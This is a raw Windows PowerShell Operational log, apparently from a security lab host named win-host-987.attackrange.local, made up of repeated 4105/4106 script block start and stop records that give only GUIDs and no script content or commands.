Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036730
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036729
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036728
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036727
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036726
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036725
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036724
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036723
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036722
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036721
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036720
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036719
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036718
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036717
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036716
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036715
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036714
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036713
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036712
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036711
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036710
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036709
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036708
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036698
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036697
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036696
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036695
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036694
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036692
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036691
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036678
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036677
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
